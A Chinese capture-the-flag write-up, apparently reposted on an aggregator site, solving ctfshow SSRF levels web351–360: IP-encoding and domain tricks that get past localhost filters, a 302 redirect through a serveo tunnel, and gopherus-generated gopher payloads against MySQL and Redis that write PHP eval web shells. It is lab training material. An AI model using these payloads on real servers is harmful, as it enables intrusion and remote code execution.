当前位置: 首页 > news >正文

ctfshow-web入门SSRFweb351-360wp

一、ctfshow

(一) web351

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?>

这个源代码蕴含了curl_exec()函数

函数用于执行一个 cURL 会话。如果用户可以控制 URL 参数,攻击者可以利用该函数访问内网服务、读取本地文件或攻击其他服务器。

所以我们可以通过利用SSRF漏洞访问内网中的Web应用或其他服务。通过构造特定的URL,攻击者可以访问内网中的敏感资源。

url=http://127.0.0.1/flag.php

即可得到flag(这是POST传参)

方案二:

尝试使用 file 协议读文件:

url=file:///etc/passwd

同理我们可以把 flag 给读出来:

url=file:///var/www/html/flag.php

(二) web352

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127.0.0/')){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?> hacker

这道题和上道题一样

只不过这道题 限制只能使用 http 或者 https 协议

并且url不能含有/localhost|127.0.0/

但是上道的payload可以继续使用

url=http://127.0.0.1/flag.php

得到flag

但是还是需要绕过一下的

url=http://0x7F000001/flag.php(16进制绕过) url=http://2130706433/flag.php(10进制) url=http://0177.0.0.1/flag.php—(8进制) url=http://%31%32%37%2E%30%2E%30%2E%31/flag.php(URL加密)

(三) web353

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127\.0\.|\。/i', $url)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?> hacker

这道过滤了

/localhost|127\.0\.|\。/i'

依然可以用16进制去绕过

url=http://0x7F000001/flag.php(16进制绕过)

得到flag

看了看其他人的WP

还可以用

url=http://0/flag.php(0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0) url=http://0.0.0.0/flag.php url=http://127.1/flag.php(缺省模式) CIDR:url=http://127.127.127.127/flag.php

并且不只是127.0.0.1代表本地

127.0.0.1---127.255.255.254都行

(四) web354

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|1|0|。/i', $url)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?> hacker

这次相比之前直接看有没有0和1

我试了试之前的几种方法都返回hacker

我问了一下AI

他给我推荐的是localtest.me这个公共域名默认 A 记录指向127.0.0.1,且不包含被过滤的关键字,可以直接通过检查并访问本地的flag.php

payload:

url=http://localtest.me/flag.php

得到flag

看了下大佬的WP

方法一:域名指向127

在自己的域名中添加一条A记录指向 127.0.0.1

或者使用 http://sudo.cc这个域名就是指向127.0.0.1

方法二:302跳转

在自己的网站页面添加

<?php header("Location:http://127.0.0.1/flag.php");

重定向到127

我试了一下

url=http://sudo.cc/flag.php

发现这个已经失效

(五) web355

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $host=$x['host']; if((strlen($host)<=5)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?> hacker

这道题限制了域名长度<=5,无其他限制

所以我们可以使用

url=http://0/flag.php(0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0) url=http://127.1/flag.php(缺省模式)

得到flag

(六) web326

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $host=$x['host']; if((strlen($host)<=3)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); } else{ die('hacker'); } } else{ die('hacker'); } ?> hacker

这道限制域名要小于3

继续使用0

url=http://0/flag.php(0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0)

得到flag

(七) web357

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $ip = gethostbyname($x['host']); echo '</br>'.$ip.'</br>'; if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('ip!'); } echo file_get_contents($_POST['url']); } else{ die('scheme'); } ?> scheme

这里有段waf,我们不知道, 问一下ai

1. 1.filter_var($ip, FILTER_VALIDATE_IP, ...)

  • FILTER_VALIDATE_IP会验证$ip是否是一个合法的 IPv4 或 IPv6 地址。
  • 如果$ip不合法,则返回false
  • 意味着任何不是标准 IP 格式的值(比如127.0.0.1:80example.com)会直接被判定为非法。

2. 2.FILTER_FLAG_NO_PRIV_RANGE

  • 禁止私有 IP 地址段
  • 私有 IPv4 范围:
    • 10.0.0.0-10.255.255.255
    • 172.16.0.0-172.31.255.255
    • 192.168.0.0-192.168.255.255
  • 私有 IPv6 范围:
    • fc00::/7

3. 3.FILTER_FLAG_NO_RES_RANGE

  • 禁止保留地址范围(特殊用途 IP),包括:
    • 0.0.0.0
    • 127.0.0.0/8(回环地址)
    • 169.254.0.0/16(链路本地)
    • ::1(IPv6 回环)
    • 以及其他 RFC 保留段

4. 4.综合逻辑

执行这段代码时:

  1. 先验证$ip是不是符合 IP 格式(A.B.C.D或 IPv6 标准表示)。
  2. 如果是 IP,就进一步检查是否属于私有 IP 或保留 IP 范围。
  3. 只允许公网 IP(Public IP)通过。

意思就是需要公网IP,我们可以在我们自己的公网服务器上面,搞一个302跳转的文件,这样子,当使用这个容器访问的时候,就会自动302跳转到127.0.0.1里面,

payload

<?php header("Location:http://127.0.0.1/flag.php"); ?>
url=http://你的公网ip/ssrf.php

我们可以在本地终端运行(写xxe题用过的)

php -S 0.0.0.0:8000

搭建 PHP 环境

在同一个目录下写一个php文件内容为:

<?php header("Location:http://127.0.0.1/flag.php"); ?>

然后在同一个目录下再创建一个终端

运行

ssh -R 80:localhost:8000 serveo.net

会给到一个公网地址

https://xxxxxxx.serveousercontent.com

然后复制它到payload

url=https://xxxxxxxxx.serveousercontent.com/ssrf.php

即可得到flag

注意:公网地址记得修改为自己的

如果你有自己的vps就不用这么麻烦了

(八) web358

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){ echo file_get_contents($url); }

匹配以 http:// ctf . 开头,并且以 show 结尾

payload:

url=http://ctf.@127.0.0.1/flag.php#show url=http://ctf.@127.0.0.1/flag.php?show url=http://ctf.@127.0.0.1/flag.php?a=show

得到flag

(九) web359

题目提示:打无密码的mysql

点开是一个登录界面

查看源码发现有check.php以及post传参

登录抓包试试看

发现可疑参数 returl 存在 SSRF

使用 gopher 协议去打 mysql

用 gopherus 工具生成 payload

python2 .\gopherus.py --exploit mysql username:root 写入一句话木马 select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';

将 _ 下划线后面的内容再进行一次 url 编码(防止出现特殊符号)

post传参

修改return值为

%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254c%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2561%2561%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

连接蚁剑

flag.txt在根目录

(十) web360

提示:打redis

<?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?>

我搜了一下redis

什么是Redis未授权访问?

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器

简单说,漏洞的产生条件有以下两点:

redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

没有设置密码认证(一般为空),可以免密码远程登录redis服务

python gopherus.py --exploit redis phpshell <?php eval($_POST['cmd']);?>

url再次编码POST传入

shell写入的地址默认为/shell.php

访问shell.php

蚁剑连接也可以得到flag

http://www.jsqmd.com/news/1005267/

相关文章:

  • 魔兽争霸3性能救星:如何让20年老游戏在现代电脑上流畅运行?
  • 2026贺州市卡地亚+GP芝柏表手表专业回收,26年精选回收店铺排行榜推荐 - 谊识预商务
  • 2026年除甲醛市场大揭秘!这些生产厂家凭啥脱颖而出?
  • 新风口已至!工信部定调,手机、电脑全面进入 AI 时代
  • 如何高效批量下载抖音无水印视频?douyin-downloader工具全解析
  • 保姆级教程:手把手搭建Java靶场(JshERP 2.3)并复现Fastjson+MySQL JDBC反序列化漏洞
  • 【程序语言与编译】语法分析:自上而下推导(最左/最右)
  • 专业的上海系统门窗厂家
  • 如何把 AI Agent Harness Engineering 变成卖得出去的产品:定价模型与增长策略
  • 7个可测量的Prompt工程底层技巧:从指令解析到熵值控制
  • 河北铝塑板加工厂家实测排行 核心能力全维度对比 - 奔跑123
  • Android相机有线连接技术拆解:从USB通信到文件传输的完整链路
  • 2026总部看全局、区域看趋势、门店看自己:服装全渠道BI看板的三层架构
  • 2026衡水市百达翡丽+宝珀手表专业回收,26年精选回收店铺排行榜推荐 - 谊识预商务
  • 如何快速搭建实时弹幕数据采集系统:跨平台直播监控终极方案
  • 2026喀什市雅典+天梭手表专业回收,26年精选回收店铺排行榜推荐 - 谊识预商贸
  • 2026揭阳市江诗丹顿+万国手表专业回收,26年精选回收店铺排行榜推荐 - 谊识预商贸
  • SAR点目标成像旁瓣性能量化工具:MATLAB一键计算PSLR与ISLR
  • UEFI_Shell_App_原理详解
  • Rust实战:轻量级IBC侧链验证器开发
  • 山东大学软件学院2026项目实训-个人博客(六)
  • 2026申请香港身份怎么挑靠谱中介?3 家中介真实测评对比来了
  • 2026衡阳市江诗丹顿+万国手表专业回收,26年精选回收店铺排行榜推荐 - 谊识预商务
  • 2026潮州市雅典+天梭手表专业回收,26年精选回收店铺排行榜推荐 - 莘州文化
  • D2DX宽屏补丁:让经典《暗黑破坏神2》在现代PC上焕发新生的终极解决方案
  • SketchUp STL插件终极指南:从3D建模到3D打印的完整解决方案
  • 我是如何用 Go + Wails 开发一款无广告的 Windows 清理工具的?
  • 百能云芯| 强茂 PANJIT:官方授权代理,采购优选
  • 2026韶关市美度百达翡丽+宝珀手表专业回收,26年精选回收店铺排行榜推荐 - 莘州文化
  • ncmdump解密工具:三步实现网易云音乐NCM格式高效转换